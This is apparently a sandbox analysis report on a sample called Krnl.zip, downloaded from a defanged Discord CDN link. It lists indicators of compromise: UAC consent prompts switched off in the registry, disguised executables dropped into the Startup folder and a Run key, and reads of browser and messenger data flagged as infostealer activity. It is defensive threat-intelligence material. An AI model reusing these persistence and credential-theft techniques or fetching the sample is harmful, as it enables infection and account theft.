hxxps://cdn[.]discordapp[.]com/attachments/1045003118900940843/1054445358895353876/Krnl[.]zip

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Downloads MZ/PE file

Drops file in Drivers directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\DRIVERS\mbamswissarmy.sys	MBAMService.exe
File created	C:\Windows\system32\DRIVERS\SET22C1.tmp	MBAMService.exe
File opened for modification	C:\Windows\system32\DRIVERS\mwac.sys	MBAMService.exe
File created	C:\Windows\system32\DRIVERS\SET2514.tmp	MBAMService.exe
File opened for modification	C:\Windows\system32\DRIVERS\MbamElam.sys	MBAMService.exe
File opened for modification	C:\Windows\system32\DRIVERS\SET8FC.tmp	MBAMService.exe
File created	C:\Windows\system32\DRIVERS\SET22B0.tmp	MBAMService.exe
File opened for modification	C:\Windows\system32\DRIVERS\SET2514.tmp	MBAMService.exe
File created	C:\Windows\system32\DRIVERS\mbam.sys	MBAMService.exe
File created	C:\Windows\system32\DRIVERS\MbamElam.sys	MBAMService.exe
File opened for modification	C:\Windows\system32\DRIVERS\SET10AE.tmp	MBAMService.exe
File opened for modification	C:\Windows\system32\DRIVERS\SET22C1.tmp	MBAMService.exe
File opened for modification	C:\Windows\system32\DRIVERS\SET262E.tmp	MBAMService.exe
File created	C:\Windows\system32\DRIVERS\SET262E.tmp	MBAMService.exe
File created	C:\Windows\system32\DRIVERS\SET8FC.tmp	MBAMService.exe
File opened for modification	C:\Windows\system32\DRIVERS\SET22B0.tmp	MBAMService.exe
File created	C:\Windows\system32\DRIVERS\SET10AE.tmp	MBAMService.exe
File opened for modification	C:\Windows\system32\DRIVERS\MbamChameleon.sys	MBAMService.exe
File opened for modification	C:\Windows\system32\DRIVERS\farflt.sys	MBAMService.exe
File created	C:\Windows\SysWOW64\drivers\mbamtestfile.dat	MBSetup-20AB4836.exe
File created	C:\Windows\system32\drivers\mbae64.sys	MBAMInstallerService.exe

Executes dropped EXE 64 IoCs

pid	Process
1752	DiscordSetup.exe
4384	Update.exe
4652	Discord.exe
1440	Discord.exe
2400	Update.exe
2176	Discord.exe
3744	Discord.exe
644	Discord.exe
3740	Discord.exe
3920	Discord.exe
4940	Discord.exe
4276	Discord.exe
5056	Discord.exe
4564	Discord.exe
2456	Discord.exe
2376	KrnlBootStrapper.exe
6032	KrnlBootStrapper.exe
4936	KrnlBootStrapper.exe
6072	KrnlBootStrapper.exe
796	KrnlBootStrapper.exe
6056	KrnlBootStrapper.exe
5416	KrnlBootStrapper.exe
2456	KrnlBootStrapper.exe
5148	ChromeRecovery.exe
5432	KrnlBootStrapper.exe
5800	Discord.exe
3780	Discord.exe
5952	Discord.exe
2868	Discord.exe
5228	Discord.exe
4884	Discord.exe
6020	Discord.exe
536	KrnlBootStrapper.exe
316	Update.exe
5196	Discord.exe
3524	Discord.exe
4960	Discord.exe
5892	Discord.exe
5960	Discord.exe
5364	Discord.exe
3492	Discord.exe
3068	Discord.exe
6000	KrnlBootStrapper.exe
3828	Update.exe
5280	Discord.exe
1392	Discord.exe
5376	Discord.exe
3680	Discord.exe
4120	Discord.exe
2304	Discord.exe
536	Discord.exe
5952	Discord.exe
3692	MicrosoftAudio.exe
2980	Discord.exe
4456	Everything-1.4.1.1022.x86-Setup.exe
5536	Everything.exe
5472	Everything.exe
4280	Everything.exe
1924	Everything.exe
4688	Everything.exe
4620	MBSetup-20AB4836.exe
3928	MBAMInstallerService.exe
1012	MBAMService.exe
1540	MBAMService.exe

Registers COM server for autorun 1 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{251AD013-20AD-4C3F-8FE2-F66A429B4819}\LocalServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E1AC7139-D1FF-4DE9-84A4-92E2B47F5D2A}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{130CD414-6BFD-4F6C-9362-A2264B222E76}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EE8A9269-9E6E-4683-BCD3-41E9B16696DC}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{D5599B6B-FA0C-45B5-8309-853B003EA412}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{36A65E46-6CC1-4CA2-B51E-F4DD8C993DDC}\LocalServer32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DE03E614-112D-43E0-8E15-E7236CC32108}\LocalServer32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9DAB0CA5-AE19-41AE-955C-41DD44C52697}\LocalServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F415899A-1576-4C8B-BC9F-4854781F8A20}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{580243BF-3CEE-4131-A599-C6FED66BEB1B}\LocalServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57CE581A-0CB6-4266-9CA0-19364C90A0B3}\InprocServer32\ThreadingModel = "Apartment"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F36AD0D0-B5F0-4C69-AF08-603D177FEF0E}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9DAB0CA5-AE19-41AE-955C-41DD44C52697}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F36AD0D0-B5F0-4C69-AF08-603D177FEF0E}\LocalServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{11D1E5E8-14E1-4B5B-AE1A-2678CB91E8E5}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9D372F21-E6DA-4B82-881A-79F6CA6B6AE1}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E1AC7139-D1FF-4DE9-84A4-92E2B47F5D2A}\LocalServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{130CD414-6BFD-4F6C-9362-A2264B222E76}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{36A65E46-6CC1-4CA2-B51E-F4DD8C993DDC}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{36A65E46-6CC1-4CA2-B51E-F4DD8C993DDC}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{376BE474-56D4-4177-BB4E-5610156F36C8}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{11D1E5E8-14E1-4B5B-AE1A-2678CB91E8E5}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{D5599B6B-FA0C-45B5-8309-853B003EA412}\LocalServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{278637DA-FDFB-45C7-8CD8-F2D8A9199AB0}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9D372F21-E6DA-4B82-881A-79F6CA6B6AE1}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E1AC7139-D1FF-4DE9-84A4-92E2B47F5D2A}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{17BE78EE-B40A-4B9E-835F-38EC62F9D479}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{376BE474-56D4-4177-BB4E-5610156F36C8}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F36AD0D0-B5F0-4C69-AF08-603D177FEF0E}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{278637DA-FDFB-45C7-8CD8-F2D8A9199AB0}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{580243BF-3CEE-4131-A599-C6FED66BEB1B}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F6D29500-933C-447C-9D88-9D814AF73808}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F6D29500-933C-447C-9D88-9D814AF73808}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EE8A9269-9E6E-4683-BCD3-41E9B16696DC}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{D5599B6B-FA0C-45B5-8309-853B003EA412}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DE03E614-112D-43E0-8E15-E7236CC32108}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57CE581A-0CB6-4266-9CA0-19364C90A0B3}\InprocServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57CE581A-0CB6-4266-9CA0-19364C90A0B3}\InprocServer32\ = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\mbshlext.dll"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F415899A-1576-4C8B-BC9F-4854781F8A20}\LocalServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BF474111-9116-45C6-AF53-209E64F1BB53}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8F1C46F8-E697-4175-B240-CDE682A4BA2D}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F6D29500-933C-447C-9D88-9D814AF73808}\LocalServer32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{376BE474-56D4-4177-BB4E-5610156F36C8}\LocalServer32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{11D1E5E8-14E1-4B5B-AE1A-2678CB91E8E5}\LocalServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{251AD013-20AD-4C3F-8FE2-F66A429B4819}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03141A2A-5C3A-458E-ABEC-0812AD7FF497}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{278637DA-FDFB-45C7-8CD8-F2D8A9199AB0}\LocalServer32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BF474111-9116-45C6-AF53-209E64F1BB53}\LocalServer32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{130CD414-6BFD-4F6C-9362-A2264B222E76}\LocalServer32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9D372F21-E6DA-4B82-881A-79F6CA6B6AE1}\LocalServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F415899A-1576-4C8B-BC9F-4854781F8A20}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BF474111-9116-45C6-AF53-209E64F1BB53}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{17BE78EE-B40A-4B9E-835F-38EC62F9D479}\LocalServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{17BE78EE-B40A-4B9E-835F-38EC62F9D479}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{251AD013-20AD-4C3F-8FE2-F66A429B4819}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8F1C46F8-E697-4175-B240-CDE682A4BA2D}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03141A2A-5C3A-458E-ABEC-0812AD7FF497}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DE03E614-112D-43E0-8E15-E7236CC32108}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{580243BF-3CEE-4131-A599-C6FED66BEB1B}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8F1C46F8-E697-4175-B240-CDE682A4BA2D}\LocalServer32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EE8A9269-9E6E-4683-BCD3-41E9B16696DC}\LocalServer32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03141A2A-5C3A-458E-ABEC-0812AD7FF497}\LocalServer32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9DAB0CA5-AE19-41AE-955C-41DD44C52697}\LocalServer32\ServerExecutable = "C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe"	MBAMService.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{F36AD0D0-B5F0-4C69-AF08-603D177FEF0E}\LOCALSERVER32	MBAMService.exe

Sets service image path in registry 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MBAMSwissArmy\ImagePath = "\\SystemRoot\\System32\\Drivers\\mbamswissarmy.sys"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MBAMChameleon\ImagePath = "\\SystemRoot\\System32\\Drivers\\MbamChameleon.sys"	MBAMService.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MBAMService.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	MBAMService.exe

Checks computer location settings 2 TTPs 22 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Everything.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Discord.exe

Drops startup file 12 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OBEBroker.exe	Discord.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\searchapplicationindex.exe	taskmgr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchApplication.exe	Discord.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OBEBroker.exe	Discord.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OBEBroker.exe	Discord.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchApplication.exe	Discord.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchApplicationIndex.exe	Discord.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\obebroker.exe	taskmgr.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\searchapplication.exe	taskmgr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NisService.exe	Discord.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\nisservice.exe	taskmgr.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchApplication.exe	Discord.exe

Loads dropped DLL 64 IoCs

pid	Process
4652	Discord.exe
1440	Discord.exe
2176	Discord.exe
2176	Discord.exe
2176	Discord.exe
2176	Discord.exe
3744	Discord.exe
644	Discord.exe
3740	Discord.exe
644	Discord.exe
3920	Discord.exe
3920	Discord.exe
3920	Discord.exe
3920	Discord.exe
4940	Discord.exe
4276	Discord.exe
5056	Discord.exe
5056	Discord.exe
5056	Discord.exe
5056	Discord.exe
5056	Discord.exe
5056	Discord.exe
5056	Discord.exe
5056	Discord.exe
4564	Discord.exe
2456	Discord.exe
5056	Discord.exe
5056	Discord.exe
5056	Discord.exe
5056	Discord.exe
2376	KrnlBootStrapper.exe
6032	KrnlBootStrapper.exe
4936	KrnlBootStrapper.exe
6072	KrnlBootStrapper.exe
796	KrnlBootStrapper.exe
6056	KrnlBootStrapper.exe
5416	KrnlBootStrapper.exe
2456	KrnlBootStrapper.exe
5432	KrnlBootStrapper.exe
5800	Discord.exe
5056	Discord.exe
3780	Discord.exe
5952	Discord.exe
2868	Discord.exe
5228	Discord.exe
4884	Discord.exe
6020	Discord.exe
5056	Discord.exe
5056	Discord.exe
5056	Discord.exe
536	KrnlBootStrapper.exe
5196	Discord.exe
3524	Discord.exe
5196	Discord.exe
4960	Discord.exe
5892	Discord.exe
4960	Discord.exe
4960	Discord.exe
4960	Discord.exe
5960	Discord.exe
5364	Discord.exe
5364	Discord.exe
5364	Discord.exe
5364	Discord.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 19 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Everything = "\"C:\\Program Files (x86)\\Everything\\Everything.exe\" -startup"	Everything.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dasHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\MicrosoftAudio.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	Everything.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dasHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\MicrosoftAudio.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Discord = "C:\\Users\\Admin\\AppData\\Local\\Discord\\Update.exe --processStart Discord.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Discord = "C:\\Users\\Admin\\AppData\\Local\\Discord\\Update.exe --processStart Discord.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Discord = "C:\\Users\\Admin\\AppData\\Local\\Discord\\Update.exe --processStart Discord.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Discord = "C:\\Users\\Admin\\AppData\\Local\\Discord\\Update.exe --processStart Discord.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Discord = "C:\\Users\\Admin\\AppData\\Local\\Discord\\Update.exe --processStart Discord.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dasHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\MicrosoftAudio.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\N:	Everything.exe
File opened (read-only)	\??\R:	Everything.exe
File opened (read-only)	\??\X:	MBAMService.exe
File opened (read-only)	\??\H:	MBAMInstallerService.exe
File opened (read-only)	\??\Z:	MBAMInstallerService.exe
